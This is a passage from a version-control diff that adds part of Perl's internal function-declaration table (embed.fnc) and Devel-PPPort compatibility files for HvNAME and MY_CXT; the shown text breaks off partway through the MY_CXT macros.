+		|NN const U8 *const send|NN STRLEN *const uoffset \
+		|NN bool *const at_end
+sn	|STRLEN	|sv_pos_u2b_midway|NN const U8 *const start \
+		|NN const U8 *send|STRLEN uoffset|const STRLEN uend
+s	|STRLEN	|sv_pos_u2b_cached|NN SV *const sv|NN MAGIC **const mgp \
+		|NN const U8 *const start|NN const U8 *const send \
+		|STRLEN uoffset|STRLEN uoffset0|STRLEN boffset0
+s	|void	|utf8_mg_len_cache_update|NN SV *const sv|NN MAGIC **const mgp \
+		|const STRLEN ulen
+s	|void	|utf8_mg_pos_cache_update|NN SV *const sv|NN MAGIC **const mgp \
+		|const STRLEN byte|const STRLEN utf8|const STRLEN blen
+s	|STRLEN	|sv_pos_b2u_midway|NN const U8 *const s|NN const U8 *const target \
+		|NN const U8 *end|STRLEN endu
+s	|void	|assert_uft8_cache_coherent|NN const char *const func \
+		|STRLEN from_cache|STRLEN real|NN SV *const sv
+sn	|char *	|F0convert	|NV nv|NN char *const endbuf|NN STRLEN *const len
+s	|SV *	|more_sv
+s	|bool	|sv_2iuv_common	|NN SV *const sv
+s	|void	|glob_assign_glob|NN SV *const dstr|NN SV *const sstr \
+		|const int dtype
+sRn	|PTR_TBL_ENT_t *|ptr_table_find|NN PTR_TBL_t *const tbl|NULLOK const void *const sv
+s	|void	|anonymise_cv_maybe	|NN GV *gv|NN CV *cv
+#endif
+
+: Used in sv.c and hv.c
+po	|void *	|more_bodies	|const svtype sv_type|const size_t body_size \
+				|const size_t arena_size
+
+#if defined(PERL_IN_TOKE_C)
+s	|void	|check_uni
+s	|void	|force_next	|I32 type
+s	|char*	|force_version	|NN char *s|int guessing
+s	|char*	|force_strict_version	|NN char *s
+s	|char*	|force_word	|NN char *start|int token|int check_keyword \
+				|int allow_pack
+s	|SV*	|tokeq		|NN SV *sv
+sR	|char*	|scan_const	|NN char *start
+iR	|SV*	|get_and_check_backslash_N_name|NN const char* s \
+				|NN const char* const e
+sR	|char*	|scan_formline	|NN char *s
+sR	|char*	|scan_heredoc	|NN char *s
+s	|char*	|scan_ident	|NN char *s|NN char *dest \
+				|STRLEN destlen|I32 ck_uni
+sR	|char*	|scan_inputsymbol|NN char *start
+sR	|char*	|scan_pat	|NN char *start|I32 type
+sR	|char*	|scan_str	|NN char *start|int keep_quoted \
+				|int keep_delims|int re_reparse \
+				|NULLOK char **delimp
+sR	|char*	|scan_subst	|NN char *start
+sR	|char*	|scan_trans	|NN char *start
+s	|char*	|scan_word	|NN char *s|NN char *dest|STRLEN destlen \
+				|int allow_package|NN STRLEN *slp
+s	|void	|update_debugger_info|NULLOK SV *orig_sv \
+				|NULLOK const char *const buf|STRLEN len
+sR	|char*	|skipspace_flags|NN char *s|U32 flags
+sR	|char*	|swallow_bom	|NN U8 *s
+#ifndef PERL_NO_UTF16_FILTER
+s	|I32	|utf16_textfilter|int idx|NN SV *sv|int maxlen
+s	|U8*	|add_utf16_textfilter|NN U8 *const s|bool reversed
+#endif
+s	|void	|checkcomma	|NN const char *s|NN const char *name \
+				|NN const char *what
+s	|void	|force_ident	|NN const char *s|int kind
+s	|void	|force_ident_maybe_lex|char pit
+s	|void	|incline	|NN const char *s
+s	|int	|intuit_method	|NN char *s|NULLOK SV *ioname|NULLOK CV *cv
+s	|int	|intuit_more	|NN char *s
+s	|I32	|lop		|I32 f|int x|NN char *s
+rs	|void	|missingterm	|NULLOK char *s
+s	|void	|no_op		|NN const char *const what|NULLOK char *s
+s	|int	|pending_ident
+sR	|I32	|sublex_done
+sR	|I32	|sublex_push
+sR	|I32	|sublex_start
+sR	|char *	|filter_gets	|NN SV *sv|STRLEN append
+sR	|HV *	|find_in_my_stash|NN const char *pkgname|STRLEN len
+sR	|char *	|tokenize_use	|int is_use|NN char *s
+so	|SV*	|new_constant	|NULLOK const char *s|STRLEN len \
+				|NN const char *key|STRLEN keylen|NN SV *sv \
+				|NULLOK SV *pv|NULLOK const char *type \
+				|STRLEN typelen
+s	|int	|deprecate_commaless_var_list
+s	|int	|ao		|int toketype
+s  |void|parse_ident|NN char **s|NN char **d \
+                     |NN char * const e|int allow_package \
+                     |bool is_utf8
+#  if defined(PERL_CR_FILTER)
+s	|I32	|cr_textfilter	|int idx|NULLOK SV *sv|int maxlen
+s	|void	|strip_return	|NN SV *sv
+#  endif
+#  if defined(DEBUGGING)
+s	|int	|tokereport	|I32 rv|NN const YYSTYPE* lvalp
+sf	|void	|printbuf	|NN const char *const fmt|NN const char *const s
+#  endif
+#endif
+EXMp	|bool	|validate_proto	|NN SV *name|NULLOK SV *proto|bool warn
+
+#if defined(PERL_IN_UNIVERSAL_C)
+s	|bool	|isa_lookup	|NN HV *stash|NN const char * const name \
+                                        |STRLEN len|U32 flags
+#endif
+
+#if defined(USE_LOCALE) && defined(PERL_IN_LOCALE_C)
+s	|char*	|stdize_locale	|NN char* locs
+#endif
+
+#if defined(USE_LOCALE) \
+    && (defined(PERL_IN_LOCALE_C) || defined (PERL_EXT_POSIX))
+ApM	|bool	|_is_cur_LC_category_utf8|int category
+#	ifdef DEBUGGING
+AMnPpR	|char *	|_setlocale_debug_string|const int category		    \
+					|NULLOK const char* const locale    \
+					|NULLOK const char* const retval
+#	endif
+#endif
+
+
+#if defined(PERL_IN_UTIL_C)
+s	|SV*	|mess_alloc
+s	|SV *	|with_queued_errors|NN SV *ex
+s	|bool	|invoke_exception_hook|NULLOK SV *ex|bool warn
+#if defined(PERL_MEM_LOG) && !defined(PERL_MEM_LOG_NOIMPL)
+sn	|void	|mem_log_common	|enum mem_log_type mlt|const UV n|const UV typesize \
+				|NN const char *type_name|NULLOK const SV *sv \
+				|Malloc_t oldalloc|Malloc_t newalloc \
+				|NN const char *filename|const int linenumber \
+				|NN const char *funcname
+#endif
+#endif
+
+#if defined(PERL_MEM_LOG)
+pn	|Malloc_t	|mem_log_alloc	|const UV nconst|UV typesize|NN const char *type_name|Malloc_t newalloc|NN const char *filename|const int linenumber|NN const char *funcname
+pn	|Malloc_t	|mem_log_realloc	|const UV n|const UV typesize|NN const char *type_name|Malloc_t oldalloc|Malloc_t newalloc|NN const char *filename|const int linenumber|NN const char *funcname
+pn	|Malloc_t	|mem_log_free	|Malloc_t oldalloc|NN const char *filename|const int linenumber|NN const char *funcname
+#endif
+
+#if defined(PERL_IN_NUMERIC_C)
+#ifndef USE_QUADMATH
+sn	|NV|mulexp10	|NV value|I32 exponent
+#endif
+#endif
+
+#if defined(PERL_IN_UTF8_C)
+sRM	|UV	|check_locale_boundary_crossing				    \
+		|NN const U8* const p					    \
+		|const UV result					    \
+		|NN U8* const ustrp					    \
+		|NN STRLEN *lenp
+iR	|bool	|is_utf8_common	|NN const U8 *const p|NN SV **swash|NN const char * const swashname|NULLOK SV* const invlist
+sR	|SV*	|swatch_get	|NN SV* swash|UV start|UV span
+sRM	|U8*	|swash_scan_list_line|NN U8* l|NN U8* const lend|NN UV* min \
+		|NN UV* max|NN UV* val|const bool wants_value		    \
+		|NN const U8* const typestr
+#endif
+
+#ifndef PERL_NO_INLINE_FUNCTIONS
+AiMn	|void	|append_utf8_from_native_byte|const U8 byte|NN U8** dest
+#endif
+
+Apd	|void	|sv_setsv_flags	|NN SV *dstr|NULLOK SV *sstr|const I32 flags
+Apd	|void	|sv_catpvn_flags|NN SV *const dstr|NN const char *sstr|const STRLEN len \
+				|const I32 flags
+Apd	|void	|sv_catpv_flags	|NN SV *dstr|NN const char *sstr \
+				|const I32 flags
+Apd	|void	|sv_catsv_flags	|NN SV *const dsv|NULLOK SV *const ssv|const I32 flags
+Apmd	|STRLEN	|sv_utf8_upgrade_flags|NN SV *const sv|const I32 flags
+Ap	|STRLEN	|sv_utf8_upgrade_flags_grow|NN SV *const sv|const I32 flags|STRLEN extra
+Apd	|char*	|sv_pvn_force_flags|NN SV *const sv|NULLOK STRLEN *const lp|const I32 flags
+pmb	|void	|sv_copypv	|NN SV *const dsv|NN SV *const ssv
+Apmd	|void	|sv_copypv_nomg	|NN SV *const dsv|NN SV *const ssv
+Apd	|void	|sv_copypv_flags	|NN SV *const dsv|NN SV *const ssv|const I32 flags
+Ap	|char*	|my_atof2	|NN const char *s|NN NV* value
+Apn	|int	|my_socketpair	|int family|int type|int protocol|int fd[2]
+Apn	|int	|my_dirfd	|NULLOK DIR* dir
+#ifdef PERL_ANY_COW
+: Used in pp_hot.c and regexec.c
+pMXE	|SV*	|sv_setsv_cow	|NULLOK SV* dstr|NN SV* sstr
+#endif
+
+Aop	|const char *|PerlIO_context_layers|NULLOK const char *mode
+
+#if defined(USE_PERLIO)
+Ap	|int	|PerlIO_close		|NULLOK PerlIO *f
+Ap	|int	|PerlIO_fill		|NULLOK PerlIO *f
+Ap	|int	|PerlIO_fileno		|NULLOK PerlIO *f
+Ap	|int	|PerlIO_eof		|NULLOK PerlIO *f
+Ap	|int	|PerlIO_error		|NULLOK PerlIO *f
+Ap	|int	|PerlIO_flush		|NULLOK PerlIO *f
+Ap	|void	|PerlIO_clearerr	|NULLOK PerlIO *f
+Ap	|void	|PerlIO_set_cnt		|NULLOK PerlIO *f|SSize_t cnt
+Ap	|void	|PerlIO_set_ptrcnt	|NULLOK PerlIO *f|NULLOK STDCHAR *ptr \
+					|SSize_t cnt
+Ap	|void	|PerlIO_setlinebuf	|NULLOK PerlIO *f
+Ap	|SSize_t|PerlIO_read		|NULLOK PerlIO *f|NN void *vbuf \
+					|Size_t count
+Ap	|SSize_t|PerlIO_write		|NULLOK PerlIO *f|NN const void *vbuf \
+					|Size_t count
+Ap	|SSize_t|PerlIO_unread		|NULLOK PerlIO *f|NN const void *vbuf \
+					|Size_t count
+Ap	|Off_t	|PerlIO_tell		|NULLOK PerlIO *f
+Ap	|int	|PerlIO_seek		|NULLOK PerlIO *f|Off_t offset|int whence
+Xp	|void	|PerlIO_save_errno	|NULLOK PerlIO *f
+Xp	|void	|PerlIO_restore_errno	|NULLOK PerlIO *f
+
+Ap	|STDCHAR *|PerlIO_get_base	|NULLOK PerlIO *f
+Ap	|STDCHAR *|PerlIO_get_ptr	|NULLOK PerlIO *f
+ApR	|SSize_t	  |PerlIO_get_bufsiz	|NULLOK PerlIO *f
+ApR	|SSize_t	  |PerlIO_get_cnt	|NULLOK PerlIO *f
+
+ApR	|PerlIO *|PerlIO_stdin
+ApR	|PerlIO *|PerlIO_stdout
+ApR	|PerlIO *|PerlIO_stderr
+#endif /* USE_PERLIO */
+
+: Only used in dump.c
+p	|void	|deb_stack_all
+#if defined(PERL_IN_DEB_C)
+s	|void	|deb_stack_n	|NN SV** stack_base|I32 stack_min \
+				|I32 stack_max|I32 mark_min|I32 mark_max
+#endif
+
+: pad API
+Apda	|PADLIST*|pad_new	|int flags
+#ifdef DEBUGGING
+pnX	|void|set_padlist| NN CV * cv | NULLOK PADLIST * padlist
+#endif
+#if defined(PERL_IN_PAD_C)
+s	|PADOFFSET|pad_alloc_name|NN PADNAME *name|U32 flags \
+				|NULLOK HV *typestash|NULLOK HV *ourstash
+#endif
+Apd	|PADOFFSET|pad_add_name_pvn|NN const char *namepv|STRLEN namelen\
+				|U32 flags|NULLOK HV *typestash\
+				|NULLOK HV *ourstash
+Apd	|PADOFFSET|pad_add_name_pv|NN const char *name\
+				|const U32 flags|NULLOK HV *typestash\
+				|NULLOK HV *ourstash
+Apd	|PADOFFSET|pad_add_name_sv|NN SV *name\
+				|U32 flags|NULLOK HV *typestash\
+				|NULLOK HV *ourstash
+AMpd	|PADOFFSET|pad_alloc	|I32 optype|U32 tmptype
+Apd	|PADOFFSET|pad_add_anon	|NN CV* func|I32 optype
+p	|void	|pad_add_weakref|NN CV* func
+#if defined(PERL_IN_PAD_C)
+sd	|void	|pad_check_dup	|NN PADNAME *name|U32 flags \
+				|NULLOK const HV *ourstash
+#endif
+Apd	|PADOFFSET|pad_findmy_pvn|NN const char* namepv|STRLEN namelen|U32 flags
+Apd	|PADOFFSET|pad_findmy_pv|NN const char* name|U32 flags
+Apd	|PADOFFSET|pad_findmy_sv|NN SV* name|U32 flags
+ApdD	|PADOFFSET|find_rundefsvoffset	|
+Apd	|SV*	|find_rundefsv	|
+#if defined(PERL_IN_PAD_C)
+sd	|PADOFFSET|pad_findlex	|NN const char *namepv|STRLEN namelen|U32 flags \
+				|NN const CV* cv|U32 seq|int warn \
+				|NULLOK SV** out_capture \
+				|NN PADNAME** out_name|NN int *out_flags
+#endif
+#ifdef DEBUGGING
+Apd	|SV*	|pad_sv		|PADOFFSET po
+Apd	|void	|pad_setsv	|PADOFFSET po|NN SV* sv
+#endif
+pd	|void	|pad_block_start|int full
+Apd	|U32	|intro_my
+pd	|OP *	|pad_leavemy
+pd	|void	|pad_swipe	|PADOFFSET po|bool refadjust
+#if defined(PERL_IN_PAD_C)
+sd	|void	|pad_reset
+#endif
+AMpd	|void	|pad_tidy	|padtidy_type type
+pd	|void	|pad_free	|PADOFFSET po
+pd 	|void	|do_dump_pad	|I32 level|NN PerlIO *file|NULLOK PADLIST *padlist|int full
+#if defined(PERL_IN_PAD_C)
+#  if defined(DEBUGGING)
+sd	|void	|cv_dump	|NN const CV *cv|NN const char *title
+#  endif
+#endif
+Apd	|CV*	|cv_clone	|NN CV* proto
+p	|CV*	|cv_clone_into	|NN CV* proto|NN CV *target
+pd	|void	|pad_fixup_inner_anons|NN PADLIST *padlist|NN CV *old_cv|NN CV *new_cv
+pdX	|void	|pad_push	|NN PADLIST *padlist|int depth
+ApbdR	|HV*	|pad_compname_type|const PADOFFSET po
+AMpdRn	|PADNAME *|padnamelist_fetch|NN PADNAMELIST *pnl|SSize_t key
+Xop	|void	|padnamelist_free|NN PADNAMELIST *pnl
+AMpd	|PADNAME **|padnamelist_store|NN PADNAMELIST *pnl|SSize_t key \
+				     |NULLOK PADNAME *val
+Xop	|void	|padname_free	|NN PADNAME *pn
+#if defined(USE_ITHREADS)
+pdR	|PADNAME *|padname_dup	|NN PADNAME *src|NN CLONE_PARAMS *param
+pR	|PADNAMELIST *|padnamelist_dup|NN PADNAMELIST *srcpad \
+				      |NN CLONE_PARAMS *param
+pdR	|PADLIST *|padlist_dup	|NN PADLIST *srcpad \
+				|NN CLONE_PARAMS *param
+#endif
+p	|PAD **	|padlist_store	|NN PADLIST *padlist|I32 key \
+				|NULLOK PAD *val
+
+ApdR	|CV*	|find_runcv	|NULLOK U32 *db_seqp
+pR	|CV*	|find_runcv_where|U8 cond|IV arg \
+				 |NULLOK U32 *db_seqp
+: Only used in perl.c
+p	|void	|free_tied_hv_pool
+#if defined(DEBUGGING)
+: Used in mg.c
+pR	|int	|get_debug_opts	|NN const char **s|bool givehelp
+#endif
+Ap	|void	|save_set_svflags|NN SV *sv|U32 mask|U32 val
+#ifdef DEBUGGING
+Apod	|void	|hv_assert	|NN HV *hv
+#endif
+
+ApdR	|SV*	|hv_scalar	|NN HV *hv
+ApoR	|I32*	|hv_riter_p	|NN HV *hv
+ApoR	|HE**	|hv_eiter_p	|NN HV *hv
+Apo	|void	|hv_riter_set	|NN HV *hv|I32 riter
+Apo	|void	|hv_eiter_set	|NN HV *hv|NULLOK HE *eiter
+Ap      |void   |hv_rand_set    |NN HV *hv|U32 new_xhv_rand
+Ap	|void	|hv_name_set	|NN HV *hv|NULLOK const char *name|U32 len|U32 flags
+p	|void	|hv_ename_add	|NN HV *hv|NN const char *name|U32 len \
+				|U32 flags
+p	|void	|hv_ename_delete|NN HV *hv|NN const char *name|U32 len \
+				|U32 flags
+: Used in dump.c and hv.c
+poM	|AV**	|hv_backreferences_p	|NN HV *hv
+#if defined(PERL_IN_DUMP_C) || defined(PERL_IN_HV_C) || defined(PERL_IN_SV_C) || defined(PERL_IN_SCOPE_C)
+poM	|void	|hv_kill_backrefs	|NN HV *hv
+#endif
+Apd	|void	|hv_clear_placeholders	|NN HV *hv
+XpoR	|SSize_t*|hv_placeholders_p	|NN HV *hv
+ApoR	|I32	|hv_placeholders_get	|NN const HV *hv
+Apo	|void	|hv_placeholders_set	|NN HV *hv|I32 ph
+
+: This is indirectly referenced by globals.c. This is somewhat annoying.
+p	|SV*	|magic_scalarpack|NN HV *hv|NN MAGIC *mg
+
+#if defined(PERL_IN_SV_C)
+s	|SV *	|find_hash_subscript|NULLOK const HV *const hv \
+		|NN const SV *const val
+s	|I32	|find_array_subscript|NULLOK const AV *const av \
+		|NN const SV *const val
+sMd	|SV*	|find_uninit_var|NULLOK const OP *const obase \
+		|NULLOK const SV *const uninit_sv|bool match \
+		|NN const char **desc_p
+#endif
+
+Ap	|GV*	|gv_fetchpvn_flags|NN const char* name|STRLEN len|I32 flags|const svtype sv_type
+Ap	|GV*	|gv_fetchsv|NN SV *name|I32 flags|const svtype sv_type
+
+#ifdef DEBUG_LEAKING_SCALARS_FORK_DUMP
+: Used in sv.c
+p	|void	|dump_sv_child	|NN SV *sv
+#endif
+
+#ifdef PERL_DONT_CREATE_GVSV
+Apbm	|GV*	|gv_SVadd	|NULLOK GV *gv
+#endif
+#if defined(PERL_IN_UTIL_C)
+s	|bool	|ckwarn_common	|U32 w
+#endif
+Apo	|bool	|ckwarn		|U32 w
+Apo	|bool	|ckwarn_d	|U32 w
+: FIXME - exported for ByteLoader - public or private?
+XEopMa	|STRLEN *|new_warnings_bitfield|NULLOK STRLEN *buffer \
+				|NN const char *const bits|STRLEN size
+
+#ifndef SPRINTF_RETURNS_STRLEN
+Apnod	|int	|my_sprintf	|NN char *buffer|NN const char *pat|...
+#endif
+
+Apnodf	|int	|my_snprintf	|NN char *buffer|const Size_t len|NN const char *format|...
+Apnod	|int	|my_vsnprintf	|NN char *buffer|const Size_t len|NN const char *format|va_list ap
+#ifdef USE_QUADMATH
+Apnd	|const char*	|quadmath_format_single|NN const char* format
+Apnd	|bool|quadmath_format_needed|NN const char* format
+#endif
+
+: Used in mg.c, sv.c
+px	|void	|my_clearenv
+
+#ifdef PERL_IMPLICIT_CONTEXT
+#ifdef PERL_GLOBAL_STRUCT_PRIVATE
+Apo	|void*	|my_cxt_init	|NN const char *my_cxt_key|size_t size
+Apo	|int	|my_cxt_index	|NN const char *my_cxt_key
+#else
+Apo	|void*	|my_cxt_init	|NN int *index|size_t size
+#endif
+#endif
+#if defined(PERL_IN_UTIL_C)
+so	|void	|xs_version_bootcheck|U32 items|U32 ax|NN const char *xs_p \
+				|STRLEN xs_len
+#endif
+Xpon	|I32	|xs_handshake	|const U32 key|NN void * v_my_perl\
+				|NN const char * file| ...
+Xp	|void	|xs_boot_epilog	|const I32 ax
+#ifndef HAS_STRLCAT
+Apnod	|Size_t	|my_strlcat	|NULLOK char *dst|NULLOK const char *src|Size_t size
+#endif
+
+#ifndef HAS_STRLCPY
+Apnod     |Size_t |my_strlcpy     |NULLOK char *dst|NULLOK const char *src|Size_t size
+#endif
+
+Apdn	|bool	|isinfnan	|NV nv
+p	|bool	|isinfnansv	|NN SV *sv
+
+#if !defined(HAS_SIGNBIT)
+AMdnoP	|int	|Perl_signbit	|NV f
+#endif
+
+: Used by B
+XEMop	|void	|emulate_cop_io	|NN const COP *const c|NN SV *const sv
+: Used by SvRX and SvRXOK
+XEMop	|REGEXP *|get_re_arg|NULLOK SV *sv
+
+Aop	|SV*	|mro_get_private_data|NN struct mro_meta *const smeta \
+				     |NN const struct mro_alg *const which
+Aop	|SV*	|mro_set_private_data|NN struct mro_meta *const smeta \
+				     |NN const struct mro_alg *const which \
+				     |NN SV *const data
+Aop	|const struct mro_alg *|mro_get_from_name|NN SV *name
+Aop	|void	|mro_register	|NN const struct mro_alg *mro
+Aop	|void	|mro_set_mro	|NN struct mro_meta *const meta \
+				|NN SV *const name
+: Used in HvMROMETA(), which is public.
+Xpo	|struct mro_meta*	|mro_meta_init	|NN HV* stash
+#if defined(USE_ITHREADS)
+: Only used in sv.c
+p	|struct mro_meta*	|mro_meta_dup	|NN struct mro_meta* smeta|NN CLONE_PARAMS* param
+#endif
+Apd	|AV*	|mro_get_linear_isa|NN HV* stash
+#if defined(PERL_IN_MRO_C)
+sd	|AV*	|mro_get_linear_isa_dfs|NN HV* stash|U32 level
+s	|void	|mro_clean_isarev|NN HV * const isa   \
+				 |NN const char * const name \
+				 |const STRLEN len \
+				 |NULLOK HV * const exceptions \
+				 |U32 hash|U32 flags
+s	|void	|mro_gather_and_rename|NN HV * const stashes \
+				      |NN HV * const seen_stashes \
+				      |NULLOK HV *stash \
+				      |NULLOK HV *oldstash \
+				      |NN SV *namesv
+#endif
+: Used in hv.c, mg.c, pp.c, sv.c
+pd	|void   |mro_isa_changed_in|NN HV* stash
+Apd	|void	|mro_method_changed_in	|NN HV* stash
+pdx	|void	|mro_package_moved	|NULLOK HV * const stash|NULLOK HV * const oldstash|NN const GV * const gv|U32 flags
+: Only used in perl.c
+p	|void   |boot_core_mro
+Apon	|void	|sys_init	|NN int* argc|NN char*** argv
+Apon	|void	|sys_init3	|NN int* argc|NN char*** argv|NN char*** env
+Apon	|void	|sys_term
+ApoM	|const char *|cop_fetch_label|NN COP *const cop \
+		|NULLOK STRLEN *len|NULLOK U32 *flags
+: Only used  in op.c and the perl compiler
+ApoM	|void|cop_store_label \
+		|NN COP *const cop|NN const char *label|STRLEN len|U32 flags
+
+xpo	|int	|keyword_plugin_standard|NN char* keyword_ptr|STRLEN keyword_len|NN OP** op_ptr
+
+#if defined(USE_ITHREADS)
+#  if defined(PERL_IN_SV_C)
+s	|void	|unreferenced_to_tmp_stack|NN AV *const unreferenced
+#  endif
+Aanop	|CLONE_PARAMS *|clone_params_new|NN PerlInterpreter *const from \
+		|NN PerlInterpreter *const to
+Anop	|void	|clone_params_del|NN CLONE_PARAMS *param
+#endif
+
+: Used in perl.c and toke.c
+op	|void	|populate_isa	|NN const char *name|STRLEN len|...
+
+: Used in keywords.c and toke.c
+Xop	|bool	|feature_is_enabled|NN const char *const name \
+		|STRLEN namelen
+
+: Some static inline functions need predeclaration because they are used
+: inside other static inline functions.
+#if defined(PERL_CORE) || defined (PERL_EXT)
+Ei	|STRLEN	|sv_or_pv_pos_u2b|NN SV *sv|NN const char *pv|STRLEN pos \
+				 |NULLOK STRLEN *lenp
+#endif
+
+EMpPX	|SV*	|_get_encoding
+Ap	|void	|clear_defarray	|NN AV* av|bool abandon
+
+ApM	|void	|leave_adjust_stacks|NN SV **from_sp|NN SV **to_sp \
+                |U8 gimme|int filter
+
+#ifndef PERL_NO_INLINE_FUNCTIONS
+AiM	|PERL_CONTEXT *	|cx_pushblock|U8 type|U8 gimme|NN SV** sp|I32 saveix
+AiM	|void	|cx_popblock|NN PERL_CONTEXT *cx
+AiM	|void	|cx_topblock|NN PERL_CONTEXT *cx
+AiM	|void	|cx_pushsub      |NN PERL_CONTEXT *cx|NN CV *cv \
+				 |NULLOK OP *retop|bool hasargs
+AiM	|void	|cx_popsub_common|NN PERL_CONTEXT *cx
+AiM	|void	|cx_popsub_args  |NN PERL_CONTEXT *cx
+AiM	|void	|cx_popsub       |NN PERL_CONTEXT *cx
+AiM	|void	|cx_pushformat   |NN PERL_CONTEXT *cx|NN CV *cv \
+				 |NULLOK OP *retop|NULLOK GV *gv
+AiM	|void	|cx_popformat    |NN PERL_CONTEXT *cx
+AiM	|void	|cx_pusheval     |NN PERL_CONTEXT *cx \
+				 |NULLOK OP *retop|NULLOK SV *namesv
+AiM	|void	|cx_popeval      |NN PERL_CONTEXT *cx
+AiM	|void	|cx_pushloop_plain|NN PERL_CONTEXT *cx
+AiM	|void	|cx_pushloop_for |NN PERL_CONTEXT *cx \
+				 |NN void *itervarp|NULLOK SV *itersave
+AiM	|void	|cx_poploop      |NN PERL_CONTEXT *cx
+AiM	|void	|cx_pushwhen     |NN PERL_CONTEXT *cx
+AiM	|void	|cx_popwhen      |NN PERL_CONTEXT *cx
+AiM	|void	|cx_pushgiven    |NN PERL_CONTEXT *cx|NULLOK SV *orig_defsv
+AiM	|void	|cx_popgiven     |NN PERL_CONTEXT *cx
+#endif
+
+#ifdef USE_DTRACE
+XEop    |void   |dtrace_probe_call |NN CV *cv|bool is_call
+XEop    |void   |dtrace_probe_load |NN const char *name|bool is_loading
+XEop    |void   |dtrace_probe_op   |NN const OP *op
+XEop    |void   |dtrace_probe_phase|enum perl_phase phase
+#endif
+
+: ex: set ts=8 sts=4 sw=4 noet:

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/HvNAME
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/HvNAME	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/HvNAME	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,38 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+
+=implementation
+
+__UNDEFINED__ HvNAME_get(hv) HvNAME(hv)
+
+__UNDEFINED__ HvNAMELEN_get(hv) (HvNAME_get(hv) ? (I32)strlen(HvNAME_get(hv)) : 0)
+
+=xsubs
+
+char*
+HvNAME_get(hv)
+        HV *hv
+
+int
+HvNAMELEN_get(hv)
+        HV *hv
+
+=tests plan => 4
+
+ok(Devel::PPPort::HvNAME_get(\%Devel::PPPort::), 'Devel::PPPort');
+ok(!defined Devel::PPPort::HvNAME_get({}));
+
+ok(Devel::PPPort::HvNAMELEN_get(\%Devel::PPPort::), length('Devel::PPPort'));
+ok(Devel::PPPort::HvNAMELEN_get({}), 0);

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/MY_CXT
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/MY_CXT	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/MY_CXT	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,185 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+START_MY_CXT
+dMY_CXT_SV
+dMY_CXT
+MY_CXT_INIT
+MY_CXT_CLONE
+MY_CXT
+pMY_CXT
+pMY_CXT_
+_pMY_CXT
+aMY_CXT
+aMY_CXT_
+_aMY_CXT
+
+=implementation
+
+/*
+ * Boilerplate macros for initializing and accessing interpreter-local
+ * data from C.  All statics in extensions should be reworked to use
+ * this, if you want to make the extension thread-safe.  See ext/re/re.xs
+ * for an example of the use of these macros.
+ *
+ * Code that uses these macros is responsible for the following:
+ * 1. #define MY_CXT_KEY to a unique string, e.g. "DynaLoader_guts"
+ * 2. Declare a typedef named my_cxt_t that is a structure that contains
+ *    all the data that needs to be interpreter-local.
+ * 3. Use the START_MY_CXT macro after the declaration of my_cxt_t.
+ * 4. Use the MY_CXT_INIT macro such that it is called exactly once
+ *    (typically put in the BOOT: section).
+ * 5. Use the members of the my_cxt_t structure everywhere as
+ *    MY_CXT.member.
+ * 6. Use the dMY_CXT macro (a declaration) in all the functions that
+ *    access MY_CXT.
+ */
+
+#if defined(MULTIPLICITY) || defined(PERL_OBJECT) || \
+    defined(PERL_CAPI)    || defined(PERL_IMPLICIT_CONTEXT)
+
+#ifndef START_MY_CXT
+
+/* This must appear in all extensions that define a my_cxt_t structure,
+ * right after the definition (i.e. at file scope).  The non-threads
+ * case below uses it to declare the data as static. */
+#define START_MY_CXT
+
+#if { VERSION < 5.004_68 }
+/* Fetches the SV that keeps the per-interpreter data. */
+#define dMY_CXT_SV \
+        SV *my_cxt_sv = get_sv(MY_CXT_KEY, FALSE)
+#else /* >= perl5.004_68 */
+#define dMY_CXT_SV \
+        SV *my_cxt_sv = *hv_fetch(PL_modglobal, MY_CXT_KEY,             \
+                                  sizeof(MY_CXT_KEY)-1, TRUE)
+#endif /* < perl5.004_68 */
+
+/* This declaration should be used within all functions that use the
+ * interpreter-local data. */
+#define dMY_CXT \
+        dMY_CXT_SV;                                                     \
+        my_cxt_t *my_cxtp = INT2PTR(my_cxt_t*,SvUV(my_cxt_sv))
+
+/* Creates and zeroes the per-interpreter data.
+ * (We allocate my_cxtp in a Perl SV so that it will be released when
+ * the interpreter goes away.) */
+#define MY_CXT_INIT \
+        dMY_CXT_SV;                                                     \
+        /* newSV() allocates one more than needed */                    \
+        my_cxt_t *my_cxtp = (my_cxt_t*)SvPVX(newSV(sizeof(my_cxt_t)-1));\
+        Zero(my_cxtp, 1, my_cxt_t);                                     \
+        sv_setuv(my_cxt_sv, PTR2UV(my_cxtp))
+
+/* This macro must be used to access members of the my_cxt_t structure.
+ * e.g. MYCXT.some_data */
+#define MY_CXT          (*my_cxtp)
+
+/* Judicious use of these macros can reduce the number of times dMY_CXT
+ * is used.  Use is similar to pTHX, aTHX etc. */
+#define pMY_CXT         my_cxt_t *my_cxtp
+#define pMY_CXT_        pMY_CXT,
+#define _pMY_CXT        ,pMY_CXT
+#define aMY_CXT         my_cxtp
+#define aMY_CXT_        aMY_CXT,
+#define _aMY_CXT        ,aMY_CXT
+
+#endif /* START_MY_CXT */
+
+#ifndef MY_CXT_CLONE
+/* Clones the per-interpreter data. */
+#define MY_CXT_CLONE \
+        dMY_CXT_SV;                                                     \
+        my_cxt_t *my_cxtp = (my_cxt_t*)SvPVX(newSV(sizeof(my_cxt_t)-1));\
+        Copy(INT2PTR(my_cxt_t*, SvUV(my_cxt_sv)), my_cxtp, 1, my_cxt_t);\
+        sv_setuv(my_cxt_sv, PTR2UV(my_cxtp))
